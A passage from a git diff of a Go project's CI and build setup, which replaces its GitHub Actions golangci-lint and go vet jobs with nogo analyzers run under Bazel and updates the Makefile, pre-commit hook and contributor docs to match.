build-artifacts is the module cache's sole saver (same key); this job - # only restores it to warm the vet run, and only saves its own cache. - # !cancelled(): go vet's cache is content-addressed, so it is safe to - # save even when the vet step itself fails (SF-1). - - name: Save vet Go build cache - if: ${{ !cancelled() && steps.restore-vet-go-build-cache.outputs.cache-hit != 'true' }} - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/vet - key: beads-go-vet-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-vet-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - # F7b: the saver for the race and non-race GOCACHEs that same-repo-PR # (Blacksmith, blacksmith-4vcpu-ubuntu-2404) jobs restore: the non-race one # for pr-preflight-platforms' and check-doc-freshness-platforms' ubuntu @@ -965,7 +807,7 @@ jobs: # for same-repo PRs/merge_group and on macos-latest for fork/Dependabot PRs, # and Blacksmith and GitHub-hosted runners cannot see each other's # actions/cache entries, so the `venue` matrix seeds both (same convention as - # pr-lint-wrapper/go-vet-cache/test-windows). This job is their only seeder + # test-windows). This job is their only seeder # (and the Blacksmith leg also seeds the `test` job's module and non-race # caches), and runs only the shared warm-up those legs compile # (warm-non-race-cache.sh, the same script the Linux/Windows seeders use) diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 72eb4637b..c59e727a6 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -1075,8 +1075,8 @@ jobs: # D2 step 3: stands down where bazel-coverage says pr_lanes; Bazel / # test (`bazel test //... --config=ci`, the same selection, checked by its - # equivalence step) runs it, and scripts-go-checks runs what Bazel does not - # (go test's vet). + # equivalence step) runs it, and nogo (//tools/nogo) runs go test's vet + # checks beside every compile of that lane. pr-core-wrapper: name: PR Core (wrapper timing) runs-on: ubuntu-latest @@ -1136,122 +1136,6 @@ jobs: GOCACHE: ${{ runner.temp }}/go-cache/race run: make ci-pr-core - # PR Core's duty the Bazel lanes do not take over (D2 step 3), on every PR - # whatever bazel-coverage says: go test's own vet checks over ./... - # (rules_go's go_test runs none). The repository policy tests in - # ./scripts/... and the source-walking tests run under Bazel - # (//scripts:scripts_test, //test/docsync over //:repo_files), remotely. - # F7b: same-repo Blacksmith (blacksmith-4vcpu-ubuntu-2404) for same-repo - # PRs/merge_group, falling back to ubuntu-latest for forks/Dependabot, same - # pattern as advisory-reports/pr-core-wrapper above. - # main.yml's go-vet-cache venue matrix seeds the vet leg's GOCACHE. - scripts-go-checks: - name: Go checks (${{ matrix.check }}) - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} - timeout-minutes: 30 - strategy: - fail-fast: false - matrix: - check: [vet] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Restore Go module cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Restore vet Go build cache - if: matrix.check == 'vet' - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/vet - key: beads-go-vet-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-vet-${{ github.sha }} - # The non-race build cache fallback this used to list can never hit: - # actions/cache versions an entry by its path list, and that cache - # saves to a different path (.../go-cache/non-race), so the prefix - # match is always filtered out (SF-5). - restore-keys: beads-go-vet-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-vet- - - - name: Go vet with go test's checks - if: ${{ !cancelled() && steps.setup-go.outcome == 'success' && matrix.check == 'vet' }} - env: - GOCACHE: ${{ runner.temp }}/go-cache/vet - run: bash scripts/ci/go-test-vet.sh - - # F7b: same-repo Blacksmith (blacksmith-4vcpu-ubuntu-2404) for same-repo - # PRs/merge_group, falling back to ubuntu-latest for forks/Dependabot. - # main.yml's pr-lint-wrapper `venue` matrix seeds this leg's golangci-lint - # and lint-native GOCACHEs. - pr-lint-wrapper: - name: PR Lint (${{ matrix.target }}) - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} - timeout-minutes: 20 - permissions: - contents: read - strategy: - fail-fast: false - matrix: - target: [native, windows, darwin] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - with: - # --new-from-merge-base below walks real history. - fetch-depth: 0 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Restore Go module cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Install golangci-lint - run: ./scripts/ci/install-golangci-lint.sh - - # Keyed on file content and the leg; a miss on the exact content key - # falls back to the leg's most recent entry, which golangci-lint - # revalidates against the current config and inputs. pr.yml never saves - # this cache (§0); main.yml's pr-lint-wrapper matrix is the only saver, - # on an exact-key miss. The key omits the sha (SF-4) so main.yml only - # saves when .golangci.yml or go.sum change. - - name: Restore golangci-lint cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: | - ~/.cache/golangci-lint - ${{ matrix.target == 'native' && format('{0}/go-cache/lint-{1}', runner.temp, matrix.target) || '' }} - key: beads-golangci-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-v2.10.1-${{ matrix.target }}-${{ hashFiles('.golangci.yml', 'go.sum') }} - restore-keys: beads-golangci-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-v2.10.1-${{ matrix.target }}- - - # Scope the wrapper's lint to what this PR introduces, matching the - # (now-deleted) `lint` job's only-new-issues scope. main.yml runs the - # same wrapper with this unset, so the whole tree is still swept on - # every push to main. Both PR triggers (pull_request, merge_group) - # target main. - - name: Run PR lint wrapper - env: - BD_LINT_NEW_FROM_MERGE_BASE: origin/main - BD_LINT_TARGETS: ${{ matrix.target }} - GOCACHE: ${{ runner.temp }}/go-cache/lint-${{ matrix.target }} - run: make ci-pr-lint - # F7a: fold of build-examples + complexity-report, the two pr.yml jobs that # are advisory-only (not in ci-gate's needs/CI_GATE_REQUIRED) and restore no # GitHub-saved build cache, onto one Blacksmith runner for same-repo @@ -2089,8 +1973,6 @@ jobs: - check-doc-freshness-platforms - pr-preflight-platforms - pr-core-wrapper - - scripts-go-checks - - pr-lint-wrapper - windows-make-shell - bazel - bazel-coverage @@ -2113,8 +1995,6 @@ jobs: PACKAGE_MCP PACKAGE_NPM PR_CORE_WRAPPER - SCRIPTS_GO_CHECKS - PR_LINT_WRAPPER WINDOWS_MAKE_SHELL BAZEL BAZEL_TEST @@ -2162,8 +2042,6 @@ jobs: PACKAGE_MCP: ${{ needs.bazel.outputs.package-mcp || 'skipped' }} PACKAGE_NPM: ${{ needs.bazel.outputs.package-npm || 'skipped' }} PR_CORE_WRAPPER: ${{ needs.pr-core-wrapper.result }} - SCRIPTS_GO_CHECKS: ${{ needs.scripts-go-checks.result }} - PR_LINT_WRAPPER: ${{ needs.pr-lint-wrapper.result }} WINDOWS_MAKE_SHELL: ${{ needs.windows-make-shell.result }} # bazel.yml's lanes report their job.status as outputs; a lane that # did not report (skipped, or lost before its last step) reads as diff --git a/.golangci.yml b/.golangci.yml index 2298aebf6..5af1120fe 100644 --- a/.golangci.yml +++ b/.golangci.yml @@ -1,3 +1,9 @@ +# Lint policy for nogo (//tools/nogo), which runs these linters beside every +# Bazel Go compile: tools/nogo/internal/golangci embeds this file and applies +# it as golangci-lint v2.10.1 would (enabled linters, settings, run.tests, +# generated files, exclusion rules). Decoding is strict, so a key the nogo +# wrappers do not implement fails the build. golangci-lint itself still reads +# it (editors, ad-hoc runs), but CI gates on nogo; see engdocs/LINTING.md. version: "2" run: diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index fc8edcbea..fa008964c 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -1,9 +1,15 @@ repos: - - repo: https://github.com/golangci/golangci-lint - rev: v2.10.1 + # Lint and vet: nogo (//tools/nogo) over the changed files' Bazel packages, + # the analyzers CI gates on (go test's vet checks plus the golangci-lint + # linters .golangci.yml enables). Needs bazel or bazelisk on PATH. + - repo: local hooks: - - id: golangci-lint - args: [--timeout=5m] + - id: nogo + name: nogo (bazel) + entry: make lint-changed LINT_CHANGED_SCOPE=staged + language: system + types: [go] + pass_filenames: false - repo: https://github.com/pre-commit/pre-commit-hooks rev: v6.0.0 diff --git a/AGENTS.md b/AGENTS.md index 5a0eabfff..b16a6db78 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -105,7 +105,7 @@ spans layers. See ```bash make install # build and install bd to ~/.local/bin (canonical) make test # unit tests with the right build tags -make ci-pr-lint # required zero-finding formatting + lint contract +make ci-pr-lint # required zero-finding lint + vet contract (nogo under Bazel) make check-docs # doc flag, freshness, and docsync checks make bazel-sync # after adding/removing/renaming Go files or changing imports/go.mod ``` diff --git a/BUILD.bazel b/BUILD.bazel index 1cb1bcf75..339780621 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -22,7 +22,6 @@ gazelle(name = "gazelle") exports_files( [".buildflags"], visibility = [ - "//scripts/pr-lint:__pkg__", "//scripts/prlintmake:__pkg__", "//tests/upgrade_smoke:__pkg__", ], @@ -33,6 +32,15 @@ exports_files([ "go.sum", ]) +# The golangci-lint configuration nogo applies (//tools/nogo), and its test. +exports_files( + [".golangci.yml"], + visibility = [ + "//tools/nogo:__pkg__", + "//tools/nogo/internal/golangci:__pkg__", + ], +) + # Repository files read by source-scanning tests, declared as their `data` so # the tests run under `bazel test` and remote execution. exports_files( @@ -382,6 +390,18 @@ filegroup( "//third_party/patches:repo_files", "//tools/bazel:repo_files", "//tools/docsmint:repo_files", + "//tools/nogo:repo_files", + "//tools/nogo/analyzers/depguard:repo_files", + "//tools/nogo/analyzers/errcheck:repo_files", + "//tools/nogo/analyzers/forbidigo:repo_files", + "//tools/nogo/analyzers/gosec:repo_files", + "//tools/nogo/analyzers/misspell:repo_files", + "//tools/nogo/analyzers/sloglint:repo_files", + "//tools/nogo/analyzers/unconvert:repo_files", + "//tools/nogo/analyzers/unparam:repo_files", + "//tools/nogo/internal/analyzertest:repo_files", + "//tools/nogo/internal/golangci:repo_files", + "//tools/nogo/internal/position:repo_files", ], visibility = [ "//scripts:__pkg__", diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 3fa5b2b03..214bfc13c 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -56,7 +56,8 @@ area is reviewed first. - Go (see `go.mod` for the required version; currently 1.26+) - Git - A C compiler (CGO is required for the embedded Dolt database) -- golangci-lint v2.10.1 for the required local lint gate +- [Bazelisk](https://github.com/bazelbuild/bazelisk) (installed as `bazel`) for + the required lint and vet gate (`make ci-pr-lint`) and the pre-commit hook - ICU headers are **not required** for building -- see [engdocs/ICU-POLICY.md](engdocs/ICU-POLICY.md) ### Getting Started @@ -91,7 +92,7 @@ beads/ │ ├── types/ # Core data types (Issue, Dependency, etc.) │ └── storage/ # Storage interface and implementations │ └── dolt/ # Dolt database backend -├── .golangci.yml # Linter configuration +├── .golangci.yml # Linter configuration (applied by nogo, tools/nogo) └── .github/workflows/ # CI/CD pipelines ``` @@ -114,23 +115,24 @@ We follow standard Go conventions: ### Linting -Use the same pinned golangci-lint version and repository-owned wrapper as CI: +Lint and vet run as nogo under Bazel: go test's vet checks plus the +golangci-lint linters `.golangci.yml` enables, the same analyzers CI gates on. ```bash -# Install the version pinned by CI -go install github.com/golangci/golangci-lint/v2/cmd/golangci-lint@v2.10.1 - -# Run the required formatting and lint contract +# Run the required lint and vet gate (native, windows and darwin) make ci-pr-lint + +# Faster: only the Bazel packages of your changed Go files +make lint-changed ``` -`make ci-pr-lint` must pass with zero issues. It checks formatting, lints the -repository's normal `gms_pure_go` build, and cross-lints Windows-only non-CGO -code. Accepted intentional patterns are encoded narrowly in `.golangci.yml`; -do not ignore a failing baseline. See [engdocs/LINTING.md](engdocs/LINTING.md) -for the full policy. +`make ci-pr-lint` must pass with zero issues. It analyzes the repository's +normal `gms_pure_go` build and cross-checks the Windows- and macOS-only +non-cgo code. Accepted intentional patterns are encoded narrowly in +`.golangci.yml`; do not ignore a failing baseline. See +[engdocs/LINTING.md](engdocs/LINTING.md) for the full policy. -CI runs the same required wrapper on all pull requests. +CI runs the same analyzers on all pull requests, in the Bazel test lane. ## Making Changes diff --git a/MODULE.bazel b/MODULE.bazel index f1e05a64c..9cd65e6fc 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -5,6 +5,18 @@ module( bazel_dep(name = "platforms", version = "1.1.0") bazel_dep(name = "rules_go", version = "0.63.0") + +# nogo honors //nolint directives through ast.CommentMap ranges, which differ +# from golangci-lint's (a comment trailing `func f(...) {` attaches to the +# body's first statement). This tree's directives were written against +# golangci-lint, so the patch adds golangci-lint's ranges as well. +single_version_override( + module_name = "rules_go", + patch_strip = 1, + patches = ["//third_party/patches:rules_go_nogo_golangci_nolint.patch"], + version = "0.63.0", +) + bazel_dep(name = "gazelle", version = "0.53.0") bazel_dep(name = "rules_shell", version = "0.6.1") bazel_dep(name = "toolchains_llvm", version = "1.11.0") @@ -158,8 +170,20 @@ go_sdk.download( ) use_repo(go_sdk, "go_sdk") +# nogo: //tools/nogo's analyzers (go test's vet checks plus the golangci-lint +# linters .golangci.yml enables) run beside every first-party Go compile, so +# a finding fails `bazel build`/`bazel test` wherever it executes (RBE +# included). External repos only feed analyzer facts; they are not validated. +go_sdk.nogo( + includes = ["//:__subpackages__"], + nogo = "//tools/nogo", +) + +# gazelle.go.work joins the beads module and the nogo analyzers' module +# (tools/nogo/go.mod) into one dependency graph for Bazel only; `go build` in +# the repository root never reads it (it is not named go.work). go_deps = use_extension("@gazelle//:extensions.bzl", "go_deps") -go_deps.from_file(go_mod = "//:go.mod") +go_deps.from_file(go_work = "//:gazelle.go.work") # beads builds go-mysql-server with its stdlib-regex backend (ICU policy): # gazelle must see gms_pure_go as satisfied so it selects regex_pure.go and @@ -193,7 +217,17 @@ go_deps.module_override( patches = ["//third_party/patches:gozstd_nocgo.patch"], path = "github.com/dolthub/gozstd", ) -use_repo(go_deps, "com_github_anthropics_anthropic_sdk_go", "com_github_burntsushi_toml", "com_github_cenkalti_backoff_v4", "com_github_charmbracelet_x_ansi", "com_github_creack_pty", "com_github_data_dog_go_sqlmock", "com_github_dolthub_dolt_go", "com_github_dolthub_driver_v2", "com_github_dolthub_eventkit", "com_github_dolthub_go_mysql_server", "com_github_dolthub_vitess", "com_github_go_sql_driver_mysql", "com_github_google_uuid", "com_github_gowebpki_jcs", "com_github_invopop_jsonschema", "com_github_johanneskaufmann_html_to_markdown_v2", "com_github_mattn_go_sqlite3", "com_github_microcosm_cc_bluemonday", "com_github_oapi_codegen_oapi_codegen_v2", "com_github_olebedev_when", "com_github_spf13_cobra", "com_github_spf13_pflag", "com_github_spf13_viper", "com_github_stretchr_testify", "com_github_subosito_gotenv", "com_github_testcontainers_testcontainers_go", "com_github_testcontainers_testcontainers_go_modules_dolt", "com_github_yuin_goldmark", "in_gopkg_yaml_v3", "io_opentelemetry_go_otel", "io_opentelemetry_go_otel_exporters_otlp_otlpmetric_otlpmetrichttp", "io_opentelemetry_go_otel_exporters_stdout_stdoutmetric", "io_opentelemetry_go_otel_exporters_stdout_stdouttrace", "io_opentelemetry_go_otel_metric", "io_opentelemetry_go_otel_sdk", "io_opentelemetry_go_otel_sdk_metric", "io_opentelemetry_go_otel_trace", "io_rsc_script", "land_charm_glamour_v2", "land_charm_huh_v2", "land_charm_lipgloss_v2", "org_golang_x_mod", "org_golang_x_net", "org_golang_x_sync", "org_golang_x_sys", "org_golang_x_term") + +# nogo does not analyze the standard library, so ctrlflow has no noReturn +# facts for t.Fatal, log.Fatal, os.Exit, ...; buildssa (unparam) and the vet +# passes then treat them as returning, unlike golangci-lint and go vet. The +# patch makes ctrlflow know those standard-library functions intrinsically. +go_deps.module_override( + patch_strip = 1, + patches = ["//third_party/patches:x_tools_ctrlflow_stdlib_noreturn.patch"], + path = "golang.org/x/tools", +) +use_repo(go_deps, "cc_mvdan_unparam", "com_github_anthropics_anthropic_sdk_go", "com_github_ashanbrown_forbidigo_v2", "com_github_burntsushi_toml", "com_github_cenkalti_backoff_v4", "com_github_charmbracelet_x_ansi", "com_github_creack_pty", "com_github_data_dog_go_sqlmock", "com_github_dolthub_dolt_go", "com_github_dolthub_driver_v2", "com_github_dolthub_eventkit", "com_github_dolthub_go_mysql_server", "com_github_dolthub_vitess", "com_github_go_sql_driver_mysql", "com_github_golangci_misspell", "com_github_golangci_unconvert", "com_github_google_uuid", "com_github_gowebpki_jcs", "com_github_invopop_jsonschema", "com_github_johanneskaufmann_html_to_markdown_v2", "com_github_kisielk_errcheck", "com_github_mattn_go_sqlite3", "com_github_microcosm_cc_bluemonday", "com_github_oapi_codegen_oapi_codegen_v2", "com_github_olebedev_when", "com_github_openpeedeep_depguard_v2", "com_github_securego_gosec_v2", "com_github_spf13_cobra", "com_github_spf13_pflag", "com_github_spf13_viper", "com_github_stretchr_testify", "com_github_subosito_gotenv", "com_github_testcontainers_testcontainers_go", "com_github_testcontainers_testcontainers_go_modules_dolt", "com_github_yuin_goldmark", "in_gopkg_yaml_v3", "io_opentelemetry_go_otel", "io_opentelemetry_go_otel_exporters_otlp_otlpmetric_otlpmetrichttp", "io_opentelemetry_go_otel_exporters_stdout_stdoutmetric", "io_opentelemetry_go_otel_exporters_stdout_stdouttrace", "io_opentelemetry_go_otel_metric", "io_opentelemetry_go_otel_sdk", "io_opentelemetry_go_otel_sdk_metric", "io_opentelemetry_go_otel_trace", "io_rsc_script", "land_charm_glamour_v2", "land_charm_huh_v2", "land_charm_lipgloss_v2", "org_go_simpler_sloglint", "org_golang_x_mod", "org_golang_x_net", "org_golang_x_sync", "org_golang_x_sys", "org_golang_x_term", "org_golang_x_tools") # Hermetic Dolt CLI for tests (tools/bazel/dolt.bzl pins the release to # scripts/ci/install-dolt.sh). //tools/bazel:dolt selects the repository for diff --git a/MODULE.bazel.lock b/MODULE.bazel.lock index 4e781c838..275b6bfd9 100644 --- a/MODULE.bazel.lock +++ b/MODULE.bazel.lock @@ -24,7 +24,6 @@ "https://bcr.bazel.build/modules/aspect_bazel_lib/2.19.3/MODULE.bazel": "253d739ba126f62a5767d832765b12b59e9f8d2bc88cc1572f4a73e46eb298ca", "https://bcr.bazel.build/modules/aspect_bazel_lib/2.19.3/source.json": "ffab9254c65ba945f8369297ad97ca0dec213d3adc6e07877e23a48624a8b456", "https://bcr.bazel.build/modules/aspect_bazel_lib/2.8.1/MODULE.bazel": "812d2dd42f65dca362152101fbec418029cc8fd34cbad1a2fde905383d705838", - "https://bcr.bazel.build/modules/bazel_features/1.1.0/MODULE.bazel": "cfd42ff3b815a5f39554d97182657f8c4b9719568eb7fded2b9135f084bf760b", "https://bcr.bazel.build/modules/bazel_features/1.1.1/MODULE.bazel": "27b8c79ef57efe08efccbd9dd6ef70d61b4798320b8d3c134fd571f78963dbcd", "https://bcr.bazel.build/modules/bazel_features/1.10.0/MODULE.bazel": "f75e8807570484a99be90abcd52b5e1f390362c258bcb73106f4544957a48101", "https://bcr.bazel.build/modules/bazel_features/1.11.0/MODULE.bazel": "f9382337dd5a474c3b7d334c2f83e50b6eaedc284253334cf823044a26de03e8", @@ -65,10 +64,6 @@ "https://bcr.bazel.build/modules/buildozer/8.5.1/source.json": "e3386e6ff4529f2442800dee47ad28d3e6487f36a1f75ae39ae56c70f0cd2fbd", "https://bcr.bazel.build/modules/gawk/5.3.2.bcr.1/MODULE.bazel": "cdf8cbe5ee750db04b78878c9633cc76e80dcf4416cbe982ac3a9222f80713c8", "https://bcr.bazel.build/modules/gawk/5.3.2.bcr.1/source.json": "fa7b512dfcb5eafd90ce3959cf42a2a6fe96144ebbb4b3b3928054895f2afac2", - "https://bcr.bazel.build/modules/gazelle/0.32.0/MODULE.bazel": "b499f58a5d0d3537f3cf5b76d8ada18242f64ec474d8391247438bf04f58c7b8", - "https://bcr.bazel.build/modules/gazelle/0.33.0/MODULE.bazel": "a13a0f279b462b784fb8dd52a4074526c4a2afe70e114c7d09066097a46b3350", - "https://bcr.bazel.build/modules/gazelle/0.34.0/MODULE.bazel": "abdd8ce4d70978933209db92e436deb3a8b737859e9354fb5fd11fb5c2004c8a", - "https://bcr.bazel.build/modules/gazelle/0.36.0/MODULE.bazel": "e375d5d6e9a6ca59b0cb38b0540bc9a05b6aa926d322f2de268ad267a2ee74c0", "https://bcr.bazel.build/modules/gazelle/0.51.3/MODULE.bazel": "618a729142f66de1e2cb776d026413763be5b80d5e3d29ffb9d3d90c5defde90", "https://bcr.bazel.build/modules/gazelle/0.53.0/MODULE.bazel": "76158efbaf12e35ae17af02f4a715bc6e7b3b410c693d34f422922ff4a56a925", "https://bcr.bazel.build/modules/gazelle/0.53.0/source.json": "1f5a4dd0399e5a20e0daeaa3ba1f42391a1b909bc3d337f7a62d3216ddbdfad0", @@ -107,13 +102,11 @@ "https://bcr.bazel.build/modules/protobuf/21.7/MODULE.bazel": "a5a29bb89544f9b97edce05642fac225a808b5b7be74038ea3640fae2f8e66a7", "https://bcr.bazel.build/modules/protobuf/27.0/MODULE.bazel": "7873b60be88844a0a1d8f80b9d5d20cfbd8495a689b8763e76c6372998d3f64c", "https://bcr.bazel.build/modules/protobuf/27.1/MODULE.bazel": "703a7b614728bb06647f965264967a8ef1c39e09e8f167b3ca0bb1fd80449c0d", - "https://bcr.bazel.build/modules/protobuf/29.0-rc2.bcr.1/MODULE.bazel": "52f4126f63a2f0bbf36b99c2a87648f08467a4eaf92ba726bc7d6a500bbf770c", "https://bcr.bazel.build/modules/protobuf/29.0-rc2/MODULE.bazel": "6241d35983510143049943fc0d57937937122baf1b287862f9dc8590fc4c37df", "https://bcr.bazel.build/modules/protobuf/29.0-rc3/MODULE.bazel": "33c2dfa286578573afc55a7acaea3cada4122b9631007c594bf0729f41c8de92", "https://bcr.bazel.build/modules/protobuf/29.0/MODULE.bazel": "319dc8bf4c679ff87e71b1ccfb5a6e90a6dbc4693501d471f48662ac46d04e4e", "https://bcr.bazel.build/modules/protobuf/29.1/MODULE.bazel": "557c3457560ff49e122ed76c0bc3397a64af9574691cb8201b4e46d4ab2ecb95", "https://bcr.bazel.build/modules/protobuf/3.19.0/MODULE.bazel": "6b5fbb433f760a99a22b18b6850ed5784ef0e9928a72668b66e4d7ccd47db9b0", - "https://bcr.bazel.build/modules/protobuf/3.19.2/MODULE.bazel": "532ffe5f2186b69fdde039efe6df13ba726ff338c6bc82275ad433013fa10573", "https://bcr.bazel.build/modules/protobuf/3.19.6/MODULE.bazel": "9233edc5e1f2ee276a60de3eaa47ac4132302ef9643238f23128fea53ea12858", "https://bcr.bazel.build/modules/protobuf/32.1/MODULE.bazel": "89cd2866a9cb07fee9ff74c41ceace11554f32e0d849de4e23ac55515cfada4d", "https://bcr.bazel.build/modules/protobuf/33.4/MODULE.bazel": "114775b816b38b6d0ca620450d6b02550c60ceedfdc8d9a229833b34a223dc42", @@ -150,10 +143,6 @@ "https://bcr.bazel.build/modules/rules_cc/0.2.8/MODULE.bazel": "f1df20f0bf22c28192a794f29b501ee2018fa37a3862a1a2132ae2940a23a642", "https://bcr.bazel.build/modules/rules_foreign_cc/0.9.0/MODULE.bazel": "c9e8c682bf75b0e7c704166d79b599f93b72cfca5ad7477df596947891feeef6", "https://bcr.bazel.build/modules/rules_fuzzing/0.5.2/MODULE.bazel": "40c97d1144356f52905566c55811f13b299453a14ac7769dfba2ac38192337a8", - "https://bcr.bazel.build/modules/rules_go/0.41.0/MODULE.bazel": "55861d8e8bb0e62cbd2896f60ff303f62ffcb0eddb74ecb0e5c0cbe36fc292c8", - "https://bcr.bazel.build/modules/rules_go/0.42.0/MODULE.bazel": "8cfa875b9aa8c6fce2b2e5925e73c1388173ea3c32a0db4d2b4804b453c14270", - "https://bcr.bazel.build/modules/rules_go/0.46.0/MODULE.bazel": "3477df8bdcc49e698b9d25f734c4f3a9f5931ff34ee48a2c662be168f5f2d3fd", - "https://bcr.bazel.build/modules/rules_go/0.59.0/MODULE.bazel": "b7e43e7414a3139a7547d1b4909b29085fbe5182b6c58cbe1ed4c6272815aeae", "https://bcr.bazel.build/modules/rules_go/0.63.0/MODULE.bazel": "a2079e783a5d2715a90e6e2970ec8ffd717a487ff2aecb5f553e3975c5294a21", "https://bcr.bazel.build/modules/rules_go/0.63.0/source.json": "5bf37b45c440ac03abad0cbfa8b8b8dd89cc4e82bc8305f468b8436fa58bae78", "https://bcr.bazel.build/modules/rules_java/4.0.0/MODULE.bazel": "5a78a7ae82cd1a33cef56dc578c7d2a46ed0dca12643ee45edbb8417899e6f74", diff --git a/Makefile b/Makefile index 24b375ea2..9797f1555 100644 --- a/Makefile +++ b/Makefile @@ -44,6 +44,7 @@ endif endif .PHONY: all build doctor-build test test-icu-path test-full-cgo test-regression test-upgrade test-cross-version test-migration corpus-regen githooks-regen bench bench-quick clean clean-test-tmp install install-force help check-up-to-date fmt fmt-check check-testing-short +.PHONY: lint lint-changed vet .PHONY: ci-pr-core ci-pr-policy ci-pr-lint ci-complexity ci-complexity-diff ci-complexity-check ci-package-mcp ci-package-npm .PHONY: api-gen api-check .PHONY: bazel-sync bazel-sync-check @@ -197,9 +198,49 @@ ci-pr-core: ci-pr-policy: @./scripts/ci/pr-policy.sh +# Lint and vet are nogo (//tools/nogo): go test's vet checks plus the +# golangci-lint linters .golangci.yml enables, validated beside every Go +# compile, so any `bazel build`/`bazel test` (local or on rbe-west) fails on a +# finding. These targets ask Bazel for the analysis alone (.bazelrc's +# --config=nogo; nothing is linked). ci-pr-lint: @./scripts/ci/pr-lint.sh +# The CI lint gate: native, plus //tools/bazel:release_cross for windows/amd64 +# and darwin/arm64 (BD_LINT_TARGETS selects; scripts/pr-lint). +lint: ci-pr-lint + +# go test's vet checks run inside nogo; same as lint. +vet: lint + +# nogo over the Bazel packages of changed Go files, natively (the pre-commit +# hook's lint). LINT_CHANGED_SCOPE: staged, or worktree (changed against +# LINT_CHANGED_REF, staged, and untracked). +LINT_CHANGED_SCOPE ?= worktree +LINT_CHANGED_REF ?= HEAD +lint-changed: + @case "$(LINT_CHANGED_SCOPE)" in \ + staged) files="$$(git diff --cached --name-only --diff-filter=ACMRT -- '*.go')" ;; \ + worktree) files="$$( \ + git diff --name-only --diff-filter=ACMRT "$(LINT_CHANGED_REF)" -- '*.go'; \ + git diff --cached --name-only --diff-filter=ACMRT -- '*.go'; \ + git ls-files --others --exclude-standard -- '*.go')" ;; \ + *) echo "unknown LINT_CHANGED_SCOPE=$(LINT_CHANGED_SCOPE); expected staged or worktree" >&2; exit 2 ;; \ + esac; \ + packages=""; missing=""; \ + for file in $$files; do \ + dir="$$(dirname "$$file")"; \ + case "/$$dir/" in */testdata/*) continue ;; esac; \ + if [ -f "$$dir/BUILD.bazel" ]; then packages="$$packages //$${dir#.}:all"; else missing="$$missing $$dir"; fi; \ + done; \ + if [ -n "$$missing" ]; then \ + echo "lint-changed: no BUILD.bazel in$$missing; run 'make bazel-sync'" >&2; exit 1; \ + fi; \ + packages="$$(printf '%s\n' $$packages | sort -u | sed 's#^///#//#; s#^//\.:#//:#')"; \ + if [ -z "$$packages" ]; then echo "lint-changed: no changed Go packages"; exit 0; fi; \ + echo "lint-changed:" $$packages; \ + $(BAZEL) build --config=nogo -- $$packages + # Opt-in architecture experiment. Install gocyclo v0.6.0 first; # report is advisory while check exercises the local baseline guard. ci-complexity: @@ -462,7 +503,9 @@ help: @echo " make test-full-cgo - Deprecated alias for make test-icu-path" @echo " make ci-pr-core - Run required PR core Go test wrapper" @echo " make ci-pr-policy - Run required PR policy wrapper" - @echo " make ci-pr-lint - Run required PR formatting and lint wrapper" + @echo " make ci-pr-lint - Run the required lint gate: nogo (vet + golangci-lint's linters) under Bazel, native + windows/darwin" + @echo " make lint - Same as ci-pr-lint (make vet too)" + @echo " make lint-changed - nogo over the Bazel packages of changed Go files (LINT_CHANGED_SCOPE=staged|worktree)" @echo " make ci-complexity - Report production cyclomatic complexity (advisory)" @echo " make ci-complexity-diff - Compare complexity with COMPLEXITY_BASE_REF" @echo " make ci-complexity-check - Check complexity against the local baseline" diff --git a/cmd/bd/preflight.go 